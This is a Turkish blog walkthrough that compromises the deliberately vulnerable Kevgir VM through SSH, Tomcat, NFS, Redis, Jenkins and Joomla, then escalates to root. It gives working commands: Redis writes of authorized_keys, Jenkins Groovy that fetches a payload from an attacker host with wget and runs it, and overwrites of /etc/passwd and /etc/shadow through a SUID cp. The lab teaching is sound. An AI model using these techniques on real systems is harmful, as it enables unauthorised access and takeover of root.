1 Nisan 2016 Cuma

Kevgir VM Çözüm (Walkthrough)

Can you pwn me ekibi hazırlamış oldukları, Kevgir isimli ve üzerinde zafiyetler olan işletim sistemini indirmeye sundular. Sanal bir linux -Ubuntu 14.04- işletim sistemi ve üzerinde barındırdığı zafiyetlerin yanı sıra web uygulamaları içinde egzersiz yapmaya müsait ortam hazırlamışlar. Bunların içerisinde g0yg0y, DVWA, XVWA, Mutillidae, Joomla, Jenkins gibi heçklenmeye müsait web uygulamaları var.
Yazı dizisi şeklinde yazmayı düşünüyorum, her yazıda Kevgir'e giriş için müsait olan yolları inceleyeceğiz.
Yazıyı yazmaya başladığım vakit yukarıdakini yazmışım.
Şimdi dibi görünmeyen bir yazı oldu. Acaba CHIP gibi part part yazıp hit mi alsaydım? 
Umuyorum uzunluğuna bakıp burayı terketmezsiniz, ederseniz de sizin kaybınız olur :P
Giriş biraz cıvık olmuş gibi olabilir ama sonrasını teknik yazmaya çalıştım raat olun.

Kevgir'in IP adresi olan 192.168.31.31'i hosts dosyasının içeriğinde kevgir ismine eşleştirdim. Bu yüzden sonraki adımlarda yapılacak olan işlemlerde IP adresi yerine kevgir hostname kullanılacaktır.

Öncelikle bir nmap taraması ile sunucumuzun durumu nedir öğrenelim. Verdiğim Nmap parametreleri sırasıyla;
tüm portları tara, SYN scan yöntemiyle taramayı gerçekleştir, açık portlar üzerindeki servislerin versiyonlarını bul, makinenin işletim sistemini bul, çıktıyı verilen konuma tüm (grepable, xml, nmap) formatlarda kaydet.
 nmap kevgir -p- -sS -sV -O -oA /root/kevgir_scan  
Kevgir üzerinde bulunan zafiyetler ile ilgili kısa kısa açıklamalarda bulunarak shell alma yöntemlerini yaparak geçeceğiz. Ardından herhangi bir yöntemle almış olduğumuz shell'den yürüyerek linux makinede root yetkisi almaya çalışacağız.
Yazının devamı aşağıdaki alt başlıklardan oluşuyor:
  • SSH
  • Apache Tomcat
  • NFS
  • Redis - 1
  • Redis - 2
  • Jenkins
  • Joomla
  • Root
SSH
Kevgir'e yapmış olduğumuz port taraması sonucunda gördüğünüz üzere TCP 1322 numaralı port üzerinde OpenSSH servisi çalışmakta. Versiyona özel zafiyetleri aramadan önce veya arama sırasında buraya brute force ile bir uğramak gerek.
Yapılacak brute force işleminde kullanıcı adları ve parolalar için klasik wordlistler kullanılabilir. İşlemi uzatmamak adına saldırı kapsamındaki kullanıcılarımızı keşfedip, direkt olarak onlara brute force yapmak daha efektik. Bu yüzden önce Metasploit içerisindeki ssh_enumusers modülüyle bir bakalım karşımızdaki makinede SSH ile erişilebilecek hangi kullanıcılar varmış.
Resimden görebileceğiniz üzere admin ve user kullanıcıları brute force işlemimize müsait görünüyor.

Brute force işlemi için çeşitli araçlar kullanılabilir. Örnek olarak Hydra aracıyla brute force yapacam, ardından metasploit üzerinde aynı işlemi gerçekleştireceğim. Buradaki önemli nokta; metasploit'in ssh brute force modülünde geçerli kullanıcı adı ve parola elde edildiği zaman otomatik olarak shell almasıdır.
Hydra ile başlayalım.







Görüldüğü üzere user:resu ve admin:admin olmak üzere geçerli iki SSH kullanıcısı elde ettik.

Şimdi bunları kullanarak Metasploit üzerinde bulunan ssh_login modülüyle aynı şekilde brute force gerçekleştirelim. Ek olarak ssh_login modülündeki USERPASS_FILE parametresine bulunan kullanıcı adı ve parola ikilileri verilerek direk olarak sistemden shell alınabilir.
Önceki adımı yapmamış gibi davranıp USER_FILE ve PASS_FILE parametrelerine wordlist'leri verip, verbose alanını da sessize(false) aldıktan sonra başlayalım.


Görüldüğü üzere iki kullanıcı ile de hedef sistem üzerinde shell almış olduk. Alınan shell basit linux shell. Fakat, çocuk videolarda ve bloglarda meterpreter shell görüyor ve aklından geçiriyor benimde bir meterpreter shell'im olsa, anne bana niye meterpreter shell aldırmıyorsun diyor bizde niye meterpreter yok diyor. Burada püskevitçi çocuklara küçük bir tırrek(trick) gösterip, linux shell'imizi meterpreter shell'e yükselteceğiz.
Bunun için iki yolumuz var.

Birincisi; shell_to_meterpreter modülünü kullanarak SESSION parametresine, yükseltilmesini istediğimiz shell'in olduğu session numarasını verip yükseltmek.
İkincisi; background'da duran oturumları yönettiğimiz komut olan sessions kullanmak. Bu komut ile basitçe bir veya birden çok shell'i meterpreter shell'e kolayca yükseltebiliriz.
Aşağıdaki resimde görüldüğü üzere iki linux shell mevcut. Bunları tek hamlede meterpreter'a yükseltiyoruz.


Apache Tomcat
Tomcat bilindiği üzere java uygulamalarını çalıştırmak için kurulan web sunucu. Uygulamaya/Versiyona özel bir zafiyetten ziyade burada ilk aradığımız şey brute force ile yetkili bir kullanıcı adı ve parola ikilisidir. Bulunan yetkili hesabı ile sisteme war uzantılı bir zararlı yüklenip çalıştırılabilir.
Bu yüzden ilk olarak Metasploit içerisindeki tomcat_mgr_login modülünü kullanıp, default kullanıcı adı ve parola ikilileri yakalamaya çalışacağız. Modülü kullanıma aldığımız vakit metasploit'in bu modüldeki default parametrelerinde kendi içerisinde bulunan kullanıcı adı ve parola listeleri set edilmiş durumdadır.
RHOST ve RPORT parametrelerine değerler girildikten sonra modülü çalıştırabiliriz. Burada görüntü kalabalığı oluşmaması adına verbose devre dışı bırakılmıştır (false değeri atanmıştır).
Elimizde tomcat:tomcat ikilisinden oluşan bir kullanıcı adı ve parola mevcut. Şimdi sıra bundan yararlanıp sistem üzerinde shell almakta. Bunun için iki yol mevcut diyebiliriz.
Birincisi; Metasploit'in tomcat_mgr_upload modülünü kullanarak elde ettiğimiz kullanıcı adı ve parola ikilisini kullanarak hedef sistem üzerinde meterpreter shell almak.
İkincisi; Tomcat arayüzüne web browser'dan erişip, Metasploit tarafında oluşturacağımız (msfvenom) ve bize shell açmaya, komut çalıştırmaya, yarayacak olan war uzantılı bir arka kapı.
Bu war dosyasını web arayüzünden deploy etmek, o sırada metasploit tarafında handler ile dinlemeyi başlatmış olmak, ardından war dosyamızdan çıkan JSP dosyasına url üzerinden erişmek ve shell almayı beklemek. Yazarken bile uzun geldi, önümüzde bir kısıt yok ise Metasploit üzerinden tomcat_mgr_upload modülünü kullanarak çabuk ve zahmetsiz bir şekilde shell alabiliriz.
Görüldüğü üzere geçerli kullanıcı adı ve parola ile sistem üzerinde meterpreter shell alınmıştır.

NFS
Network File System (NFS) bilindiği üzere TCP port 2049 üzerinde çalışır ve dosya paylaşımı yapmayı sağlar. Wikipedia'nın dediği üzere: "ağdaki bilgisayarların ortak bir dosya sistemine, yerel diskleri kadar kolay ulaşmasını sağlayan, RPC temelli dağıtık dosya sistemi yapısıdır."

Metasploitable'dan da hatırlayacağınız üzere burada yapılmış kontrolsüz bir paylaşım lokaldeki tüm bilgileri başkalarının erişimine açık hale getirebilir. Daha doğrusu paylaşıma açılmış klasör ve altındakilerini erişime açık hale getirebilir.
Port taramasından elde ettiğimiz sonuçta TCP 2049 portu üzerinde nfs servisi çalışıyor. Buradan paylaşıma açılmış bir alan olup olmadığını görmek için showmount komutunu kullanacağız.

Görebildiğiniz üzere /backup klasörü erişilebilir durumda. Bu klasörü mount komutuyla lokaldeki bir klasöre mount etmek için gerekli adımları gerçekleştiriyorum. Mount komutuna -t parametresi ile nfs olduğu söylenilmediği taktirde hata alınacaktır.
Klasörü erişilebilir hale getirdikten sonra içerisinde bir zip dosyası görüyoruz. Sıkıştırılmış dosya şifrelenmiş bir şekilde duruyor.
Zip şifresini kırmak için farklı araçlar kullanılabilir. Eğer varsa zip2john ile dosyanın hash değerini alıp JtR ile hızlı bir şekilde kırabilirsiniz. Olmadığı durumlarda şu adresteki gibi bir script kullanıp, zip dosyasına wordlist yardımıyla brute force yapılabilir.
Buna alternatif olarak, hatta daha iyisi olan, Kali linux'da kurulu gelen fcrackzip kullanılabilir.


Parola bulundu, 6 tane güccük A harfi imiş. Doğru parola bulunduğu zaman, kullandığımız script zip dosyasını aynı klasöre çıkartıyor.
Zip'ten çıkan dosya da sıkıştırılmış dosya ama bu sefer şifreli değil. Bunuda açtıktan sonra sunucu üzerinde çalışan web uygulamalarına ait içeriklerin buraya yedeklendiğini anlıyoruz.
Buradaki dosyaların içerisinde web uygulamalarının konfigürasyon dosyaları olabilir ve bunlar içerisinde işimize yarayacak bazı bilgiler elde edebiliriz. Örnek olarak, ilk bakışta aşağıdaki gibi bilgiler elde edilmiştir yedek dosyaları içerisinden.






Redis - 1
Redis, dataları key-value şeklinde eşleştiren ve cacheleyip hızlı bir şekilde cevabı dönen veriyapısı (data structure) sunucusudur. Ben demiyorum aha bunlar diyor. Memcached ezilmiş bayağı bunun altında diyolla.
Bizim işimize yarayan ve sömüreceğimiz kısımlara gelelim şimdi;
Redis, default olarak TCP 6379 portunda çalışır. Nmap ile yapmış olduğumuz tarama sonucundan da görebileceğiniz üzere Kevgir üzerinde default portu olan 6379 üzerinde çalışıyor.
Nmap içerisinde bulunan scriptlerden redis-info ile sunucu üzerindeki redis hakkında kısa bilgiler elde edebiliriz.
Kali üzerinden redis sunucu ile iletişim kurabilmek için redis araçlarını kurmamız gerekmekte. Bu araçlar aşağıdaki gibi bir komutla kolayca kurulabilir.
 apt-get install redis-tools   
Redis sunucusuna bağlanmak için -h parametresi ile uzak sunucunun adresini vermemiz gerekmekte.
Görüldüğü gibi herhangi bir authentication mekanizması yok, kimlik doğrulaması konmamış.
Şimdi, erişebildiğimiz Redis sunucusu üzerine yetkilerimiz dahilinde bir dosya, içerik yazabiliriz. Bunu iki şekilde exploit edip içeride shell almayı, komut çalıştırabilmeyi yazacam.
Birincisi, sunucunun üzerinde yayın yapan web sunucuya, basit bir PHP kodu içeren ve sunucu üzerinde komut çalıştırmamıza yarayacak olan bir arka kapı oluşturmak. Veya direk shell almamızı sağlayacak weevely, WeBaCoo gibi araçlar ile oluşturacağımız dosyayı upload etmek.
İkincisi, dosya yazma hakkımız olduğu için kullanıcıların ana dizinlerinde bulunan ve uzaktan SSH erişimlerinde şifre kullanmak yerine anahtar ile bağlanma için kullanılan keyi oluşturup, bunlar ile şifresiz bir şekilde direk o kullanıcı hakkıyla sisteme erişim sağlamak.

Referans aldığım adres şurada.
Burada yaptıklarımız; web sunucusunun ana dizinine (bir şekilde bulduğumuzu varsayalım) bomba.php isminde bir dosya oluşturuyoruz ve bu dosya GET isteğiyle yapılan komut parametresindeki değeri alıp, bunu sunucu üzerinde komut olarak çalıştırabilecek PHP fonksiyonlarından biri olan system'e gönderiyor. Kayıt ettikten sonra (save-bgsave) işlem arka planda başlıyor ve yapılıyor.
Şimdi sunucumuzun web sayfasında bomba.php'nin olduğu yere gidip, yapılandırdığımız şekilde komutlar yazalım.
PHP kodumuz  web sunucunun alanında ve onun yetkileriyle çalıştığı için doğal olarak kullanıcımız da www-data olarak görünüyor.
İkinci bir komut daha çalıştıralım ve root dışındaki erişilebilir, aktif kullanıcı klasörlerini görelim.
Burada görüldüğü üzere, yerel kullanıcıların bulunduğu home klasörünün altında iki kullanıcı için klasör var. Bunları brute force veya başka işler için kullanabiliriz.
SSH başlığındaki shell alma anlatımda zaten ssh_enumusers ile sistem üzerindeki kullanıcılar hakkında bilgi almıştık, bu kısım da ek olarak cebimizde dursun.

Redis - 2
İşlemler sırasında referans aldığım adres şurada. Çince mi Japonca mı bilemem (bkz: tayyip aga). Önemli değil zaten, ortak dilimiz olan linux üzerinden konuşabiliyoruz o abiler ile.
Aşağıda yapılan adımları açıklamaya çalıştım.

İlk olarak SSH iletişimini key üzerinden kurabilmek adına bir anahtar üretilmelidir.
1. satırda vermiş olduğumu parametre ile 2048 bitlik RSA anahtar çifti üretiliyor. Buna giriş sırasında soracağı parola verebiliriz, ben boş geçiyorum.
3. satırda public key'imizi başına ve sonuna new line alacak şekilde auth_key isminde yeni bir dosyaya yazıyoruz. Bu dosyayı Redis sunucusu aracılığıyla hedef makineye yükleyeceğiz.
5 ve 6. satırlarda anahtar standard input'tan gelen datayı yani auth_key içeriğini hafızaya atmasını söylüyoruz ve ardından Redis sunucuya giriş yapıyoruz.
8, 9, 10, 11 numaralı satırlarda yüklenecek dosya içeriğinin hangi konumda, hangi dosya altına ekleneceği ifade ediliyor. SAVE komutuyla yapılan işlemler sunucu tarafında gerçekleşmesi için işleniyor.
13 ve 16. satırlarda root kullanıcısı için yapmış olduğumuz işlemin aynısını, diğer kullanıcıların yetkileriyle erişim elde edebilmek adına onların da ana klasöründe bulunan ssh klasörünün içerisindeki authorized_keys dosyasına yazması için de aynı işlemleri yapıyoruz.
1:  ssh-keygen -t rsa  
2:    
3:  (echo -e "\n"; cat id_rsa.pub; echo -e "\n") > auth_key  
4:    
5:  cat auth_key | redis-cli -h kevgir -x set crackit  
6:  redis-cli -h kevgir  
7:    
8:  config set dir /root/.ssh/  
9:  config get dir  
10:  config set dbfilename "authorized_keys"  
11:  save  
12:    
13:  config set dir /home/user/.ssh/  
14:  save  
15:    
16:  config set dir /home/admin/.ssh/  
17:    
18:  ssh user@kevgir -p 1322 -i id_rsa  
Yaptıklarımızın uygulamadaki görüntüsü aşağıdadır.
Resimde iki noktada hata alınmıştır. Bunları açıklamak gerekirse;
root kullanıcısı için yapmaya çalıştığımız işlem muhtemelen yetki kısıtlamasından dolayı duvara toslamış ve (error) ERR şeklinde hata fırlatmış.
admin kullanıcısı için yapılan işlemde ise erişimde kullanılacak anahtarı kaydedeceğimiz ssh klasörü bulunmadığı için hata aldık.


Yapılan işlemlerin ardından SSH ile anahtarımızı kullanarak sunucuyla iletişim kurmaya çalışalım.
Görüldüğü üzere Kevgir makinesinde user kullanıcısıyla SSH üzerinden shell alınmıştır.

Jenkins
Jenkins, kodlama sonrası yazılım geliştirme süreçlerinin otomatikleştirilmesini sağlayan continuous integration aracı imiş. ben demiyorum, şu abi diyor.
Biz ise işin bize düşen kısmına gelelim. Jenkins üzerinde Script Console alanı var. Ve bu alan, üzerinde Groovy script diliyle kod yazıp çalıştırabilmemizi sağlıyor.
Script alanı üzerinde çalıştıracağımız kodları doğal olarak sunucu üzerinde çalıştıracak komutlara da çevirebiliyoruz. Güzel, bu şekilde Jenkins yetkisi dahilinde sunucu üzerinde işlem yapabiliriz ve burada reverse meterpreter shell alıp daha rahat dolaşmaya çalışacağız.

Jenkins, Kevgir üzerinde 9000. portta çalışıyor. Script alanı için ziyaret etmemiz gereken sayfa şu; http://kevgir:9000/script
Fakat bizi karşılayan bir login ekranı var. İşimizi her zaman olduğu gibi yine kaba kuvvet ile çözeceğiz anlaşılan. Brute force ile geçerli bir kullanıcı adı parola ikilisi elde etmemiz lazım. Bunun için Metasploit içerisinde jenkins_login adında hazır bir modül var, bunu kullanabiliriz.
Çok uzatmadan modülü kullanıma alıp gerekli parametreleri ayarladıktan sonra çalıştıralım, görüntü kalabalığı olmaması adına verbose parametresi false olarak ayarlanmıştır.
Evet, admin:hello şeklinde geçerli bir kullanıcı adı ve parola elde ettik. Login kısmını bu bilgiler ile geçtikten sonra Script Console alanımıza kavuşuyoruz.
Aşağıdaki adreslerde örnek Jenkins heçking anlatımları mevcut, oralara da göz atabilirsiniz.
Şimdi bu kod alanına yazacağımız ve bize sunucu üzerinde komut çalıştırmaya yarayacak kodlara gelelim. Aşağıda komut çalıştırmak için kullanılabilecek olan kod parçaları mevcut. Herhangi bir kod bloğu ile işlem yapılabilir.
 println new ProcessBuilder('komut','argüman').redirectErrorStream(true).start().text;  
 // veya  
 def sout = new StringBuffer(), serr = new StringBuffer()  
 def proc = 'komut'.execute()  
 proc.consumeProcessOutput(sout, serr)  
 proc.waitForOrKill(1000)  
 println "out>; $sout err>; $serr"  
 //veya  
 def process = "komut".execute()  
 println "Sonuc: ${process.text}"  
Reverse meterpreter shell'i almak için ben, Metasploit içerisindeki web_delivery modülünü kullanacağım. Bu modül, Python, PHP ve Powershell'e özel ürettiği payloadlar ile linux/windoz sistemler üzerinde shell açmamızı sağlar. Örnek olarak Python ile yapıyorum -modülün default'u Python ile-.
Normal şartlar altında web_delivery modülünün bize verdiği çıktıyı tek seferde çalıştırıp direk shell almamız gerekir fakat ", ' (tırnak işaretleri) script konsolunda sıkıntı çıkarabildiği için (escape karakterlerine rağmen :() can sıkmadan en kısa şekilde aşağıdaki gibi yapmaya çalıştım.
Oluşan zararlının indirileceği sayfa belli, buradan wget ile çekip tmp klasörünün altına backdoor ismiyle kaydediyorum ve bu dosyayı çalıştırıyorum.

 def process = "wget http://192.168.31.1:8080/gWOMF4 -O /tmp/bomba".execute()  
 def process2 = "ls -l /tmp".execute()  
 def process3 = "python /tmp/bomba".execute() 







Metasploit tarafında başlatmış olduğumuz modüle istek geldi, zararlı indirildi, çalıştırıldı ve shellimiz geldi.








Joomla
Joomla, PHP ile geliştirilmiş açık kaynaklı bir içerik yönetim sistemidir (CMS).
Joomla ile yapılmış web sayfalarına özel bir zafiyet tarama aracımız mevcut. Kendileri Joomscan olarak geçiyor. Çok uzatmadan başlayalım.
Joomla uygulamamız Kevgir'in 8081. portu üzerinde çalışıyor. Uygulamanın ana sayfasının linkini joomscan'a verelim ve sonuçları döksün.
 joomscan -u http://kevgir:8081  


Olası zafiyetleri sıraladıktan sonra kontrol ediyor ve eğer o zafiyeti doğrulamış ise Vulnerable? alanını Yes veya No olarak dolduruyor. Çıkan sonuçlar arasında 15. sırada bulunan admin parola değiştirme başlığı dikkati çekiyor. Bu zafiyeti exploit etmek için yapılması gerekenler joomscan tarafında adım adım yazılmış durumda. Yine de kısaca yazayım, verilen urle gidiyoruz ve oradaki Token alanına ' (tek tırnak) atıyoruz. Sonrasında admin için şifre sıfırlama ekranı geliyor ve burayı istediğimiz bir parola ile  dolduruyoruz. Sonrasında administrator sayfasına erişmeye çalışıp, kullanıcı olarak admin, parola olarak da sıfırlama ekranında girdiğimiz parolayı giriyoruz ve sistemdeyiz.


Bundan sonra yapılması gerekenleri çok anlatmaya gerek yok, birileri buradan yürüyüp sunucu üzerinde kod çalıştırabileceği bir PHP kodu içeren arka kapı eklemeyi anlatmış. Sonrası için o abimizin videosuna bakıyoruz.

Root
Şimdi geldik çetrefilli kısma, Linux bir sistemde ilk ve en yetkili kullanıcı root'tur. Kevgir makinesine uzaktan farklı yollar ile erişebildik ama hep kısıtları olan kullanıcılar olduk. Bu aşamadan sonra post-exploitation olarak anılan kısmın ilk adımlarından biri olan yetki yükseltme (privilege escalation) adımını gerçekleştirip yetkimizi en üst düzeydeki kullanıcı olan root'a çekmeye çalışacağız.
Yetki yükseltme zafiyetleri genel olarak aşağıdaki nedenlerden dolayı gerçekleşir diyebiliriz;
  • Sistem çekirdeğindeki (kernel) bir zafiyet ve exploit edilmesiyle
  • Yetkili kullanıcı haklarıyla çalışan bir uygulamanın exploit edilmesiyle
  • Konfigürasyon ve kontrol eksikliklerinden kaynaklanan zafiyetler ile yetkili kullanıcı olunması veya yetkili kullanıcı haklarıyla işlemler yapılabilmesi ile.
g0tmi1k'in şurada dediği gibi "Enumeration is the key". Bu adımdan en önemli şey olabildiğince çok bilgi elde etmek, elde etmek ve tekrar elde etmek.

--- Reklam ---
Github adresimde yeni başladığım ve denk geldiğim bir şeyler oldukça güncelleyeceğim Linux için yetki yükseltme ile ilgili bir repo oluşturdum.
Burada hem bilgi elde etmek için işe yarayacak güzel scriptler var, hem de local privilege escalation için exploit arama, önerme, derleme vs. gibi işlemleri yapan scriptler var. Bunun yanı sıra cheat sheet gibisinden bir şeyler içeren bir README sayfası da oluşturmaya çalışıyorum. Bunlar için sizden de pull request bekliyorum ;)
--- Reklam ---

Yukarıda yazdığım yöntemlerden herhangi biriyle sistem üzerinde shell aldık ve scriptlerimizden biriyle bilgi toplama için işlemlere başlayalım. Kurduğum Kevgir internete çıkmıyor, network'ü Host-only şekilde ayarladım. Bu yüzden github üzerinden repoyu indiremiyorum. Aldığım meterpreter shell üzerinden sisteme upload ediyorum. Görebildiğiniz üzere linuxprivchecker.py scripti home klasöründe bulunuyor.

Meterpreter'in shell komutuyla sunucu üzerinde shell alıp yüklemiş olduğumuz python script'ini çalıştıralım ve verdiği çıktıları inceleyelim.

Script farklı yerlere, farklı dosyalara, farklı komutlar ile bakıyor ve çıktıları diziyor ardı ardına. Burada konfigürasyon kaynaklı sıkıntılar olabilir bunları da iyi görüp avlamamız gerekiyor.
Script'in çalışması bittiğinde Shell Escape Sequences denilen ve sistem üzerinde bulunan bazı uygulamaları kullanarak direk root veya başka biri yetkisiyle komut çalıştıp, shell alabilmemize imkan tanıyan araçların olduğu kısa bir cheatsheet gösteriliyor. Bunun ardına da yetki yükseltme için kullanılabilecek olası exploitleri ve exploit-db linklerini sıralıyor.

SUID Bit
Bir alt başlık olarak bunu açmakta fayda var çünkü bunun üzerinden yürüyeceğiz. Linux sistemlerde SUID bit denilen bir kavram var ve bunun ile yetkili bir kullanıcının kullanabildiği bir uygulamayı/dosyayı/klasörü kendisinden düşük yetkilerde birininde sıkıntı olmadan kullanabilmesi için geliştirilmiş bir yetkilendirme biti.
Bir örnek ile açıklamak gerekirse;
linux'ta parola değiştirmek için kullanılan passwd komutu. Bu komutun SUID biti set edilmiş ise her kullanıcı bunu kullanıp parolasını değiştirebilir, gibi gibi.
Ayrıntılı bilgi için şu adresi, olmadı şunu, o da olmadıysa bunu ziyaret edebilirsiniz.

Çalıştırdığımız script SUID biti aktif olan dosya ve klasörleride aramakta ve listelemektedir. Verilen çıktıya bakalım.
/bin/cp SUID biti set edilmiş durumda. Bu ne demek?
cp, bildiğiniz copy komutu, yani istediğimiz dosyayı istediğimiz yere kopyalayabiliriz, istediğimiz herhangi bir dosyanın üzerine yazabiliriz, çünkü komut root yetkisiyle çalışıyor.
İlk aksiyon olarak shadow dosyasını okuyalım. Bildiğiniz üzere linux sistemlerde kullanıcı parolaları bellir bir salt ile şifrelenerek /etc/shadow dosyasına yazılır. İlk adımda bu dosyayı normal yetkimizle okumaya çalıştık fakat Permission denied aldık. Sonrasında SUID biti aktif olan cp komutu yardımıyla /etc/shadow dosyasını bulunduğumuz konuma kopyaladık ve cat ile okuyoruz. Elde edilen parola dosyası kırılması için John the Ripper'a verilebilir ama admin ve user kullanıcıları dışında bir sonuç veremeyebilir. Muhtemelen zor ve karmaşık bir parola kullanılmıştır root için bu yüzden kısa sürede sonuç alınamaz.

İstediğimiz şekilde kopyalama yapabiliyoruz gördüğünüz üzere. Peki bunu lehimize nasıl kullanabiliriz ve root olabiliriz?
Passwd ve Shadow dosyalarını kullanarak root yetkisine erişebiliriz, çünkü bunları istediğimiz şekilde manipüle edip orjinali yerine tekrar kopyalama şansımız var. Şöyle ki;
  • Passwd dosyasının içerisinde bulunan alanlardan kullanıcının id'sini belirten ve rakamlardan oluşan alanı manipüle ederek root yetkisine sahip bir kullanıcı olabiliriz. Örnek olarak, user kullanıcısının id değeri 1000'dir. Admin kullanıcısının id değeri 1002'dir. Linux'ta sistem kurulumundan sonra eklenen kullanıcılar id değeri olarak 1000 ve sonrasını alırlar. Root kullanıcısının id değeri ise 0 (sıfır) dır. Yapılacak işlem, passwd dosyasının içeriğinde bulunan ve erişebileceğimiz bir kullanıcının id değerini 0'a çekmek, değiştirdiğimiz içeriğe sahip passwd dosyasını orjinal yeri olan /etc/passwd yerine kopyalamak ve o kullanıcıya geçiş yapmaktır. Sonrası w00t w00t.
  • Shadow dosyası, kullanıcılara ait parola hash değerlerini salt değeriyle beraber tutmaktadır. Buradaki olay ise, kopyaladığımız shadow dosyasında -eğer root parolası ile ilgili bir kaygımız yok ise- yetkili kullanıcılar kimler ise onların parolalarının bulunduğu alanı istediğimiz bir parola ile değiştirmek. Ardından üzerinde değişiklik yapılmış shadow dosyasını orjinal yeri olan /etc/shadow üstüne kopyalamak ve parolasını değiştirdiğimiz yetkili kullanıcıya geçiş yapmak. Sonrası w00t w00t.
Her iki yöntemi de yapalım, sonuçta beyin bedava, hangisini beğenirseniz onu yaparsınız.

Şunu belirtmekte fayda var. SSH için konfigürasyonların bulunduğu /etc/ssh/sshd_config dosyasında uzak erişimde root ile login olma parametresi devre dışı bırakılmış. Sadece key ile giriş yapılabiliyor. Bu yüzden sisteme bir kullanıcı bilgisiyle eriştikten sonra root'a geçiş yapma şansımız var.

Passwd
Yukarıda ne yapmamız gerektiğini özetledik aslında bu yüzden bir daha anlatmaya gerek yok. Aşağıda yapılan adımları kısaca özetleyip geçmek yeterli olacaktır.
Elimizde user ve admin kullanıcıları var. passwd dosyasının bulunduğumuz dizine passwd_yeni ismiyle kopyalıyoruz. Root yetkisi vereceğimiz admin kullanıcısının id değeri 1002'dir.
Sed komutuyla passwd_yeni dosyamızın içerisinde bulunan ve admin id değeri olan 1002'yi root id değeri olan 0 ile değiştiriyoruz. Daha sonra değişiklik yapılmış dosyayı orjinal passwd olan /etc/passwd yerine kopyalıyoruz. Değişiklikler sonucunda admin kullanıcısına geçiş yaptığımız vakit, bom, root olduk.
 user@canyoupwnme:~$ cat /etc/passwd > passwd_yeni  
 user@canyoupwnme:~$ grep "1002" passwd_yeni   
   
 user@canyoupwnme:~$ sed -i 's/1002/0/g' passwd_yeni  
   
 user@canyoupwnme:~$ grep "admin:" passwd_yeni   
 user@canyoupwnme:~$ grep "admin:" /etc/passwd  
   
 user@canyoupwnme:~$ cp passwd_yeni /etc/passwd  
 user@canyoupwnme:~$ grep "admin:" /etc/passwd  
   
 user@canyoupwnme:~$ su admin  
   
 root@canyoupwnme:/home/user# whoami && id    

Artık root olduğumuza göre içeride dolaşabiliriz ve post-exploitation aşamasını dibine kadar yaşayabiliriz.
Örnek olarak root klasöründe bulunan ve mysql üzerinde yapılan işlemleri loglayan, bash'in mysql versiyonu diyebiliriz, gizli dosya olan .mysql_history dosyasına bir göz atalım bakalım önemli bilgiler var mı içerisinde?



Görüldüğü üzere sunucuya kurulan web uygulamalarının kullanıcıları ve parolaları çıktı dosyadan.

Shadow
Shadow dosyasının içeriğini anlamak için aşağıdaki adres ziyaret edilebilir.
http://www.yourownlinux.com/2015/08/etc-shadow-file-format-in-linux-explained.html
Burada önemli olan kısım dosyada tutulan hash'in hangi tipte olduğu ve kullanılan salt değerinin ne olduğudur. Bu iki değeri aldıktan sonra, yukarıdaki linkte verilmiş olan sayfada alt kısımlarda aşağıdaki gibi bir perl kodu var. Bu kod parçacığı verdiğimiz hash algoritmasının tipi ve salt değerini de içine alarak istemiş olduğumuz parolayı shadow dosyasına uygun bir formatta verecektir.
perl -e 'print "Hash -> ". crypt("<PASSWORD>","\$<HASH-ALGO>\$<SALT-VALUE>\$") . "\n"'  
Bu bağlamda ben root parolasını "Kevgircik" olarak değiştirmek istiyorum. Shadow dosyasının root ile ilgili olan kısmında gördüğünüz üzere hashlenen parolanın hash tipi 6 yani SHA512, salt olarak ise "6ZcgUVCV" stringi kullanılmış.
perl -e 'print "Hash -> ". crypt("Kevgircik","\$6\$6ZcgUVCV\$") . "\n"'  
Hash -> $6$6ZcgUVCV$0XshGalnjkt6vPMGF6T89pWu3ObAMJDDJ1vL7dsHPjS1L9QsPBE3m7SoMRPBqg5oyQ1UikPQJ11nXgiWEV7Dj1
Elde ettiğimiz çıktıda bulunan hash tipi, salt değeri ve parolanın ona göre hashlenmiş halini alıp orjinal shadow dosyasındaki root parolasında bulunan yerler ile değiştiriyoruz. Değiştirme işleminin ardından orjinal yeri olan /etc/shadow üzerine kopyalıyoruz ve parolasının kendi belirlediğimiz root hesabına geçiş yapabiliyoruz.
Edit: Şuradaki local root exploit ile kolayca yetki yükseltilebiliyormuşsunuz. Ya ben o adamın diğer exploitlerini denemiştim, bu nasıl kaçtı gözümden. Lanet olsun adamım. Ağlıyorum şuanda biliyor musun :'(

Bayağı, bayağı bir uzun oldu. Ben bile gözden geçirirken yoruldum okumaktan :D
Umuyorum faydalı olmuştur, sürç-i lisan ettiysek affola.
Yanlış bilgi verdiysek eğer yorum alanı yardımıyla düzelttirebilirsiniz.
Öptüm kib. bye.

5 yorum:

  1. Elinize sağlık çok yararlı bir yazı olmuş.

    YanıtlaSil
  2. yazı için tebrikler, hazırlamak için harcadığınız emek için de teşekkürler

    YanıtlaSil
  3. On numara olmuş bir de Türkçe helal olsun ne diyek :D

    YanıtlaSil
  4. Elinize sağlık harika bir yazı umarım hep yazar ve bizi aydınlatırsınız teşekkür ederim.

    YanıtlaSil
  5. guzel i$ Sekurii

    YanıtlaSil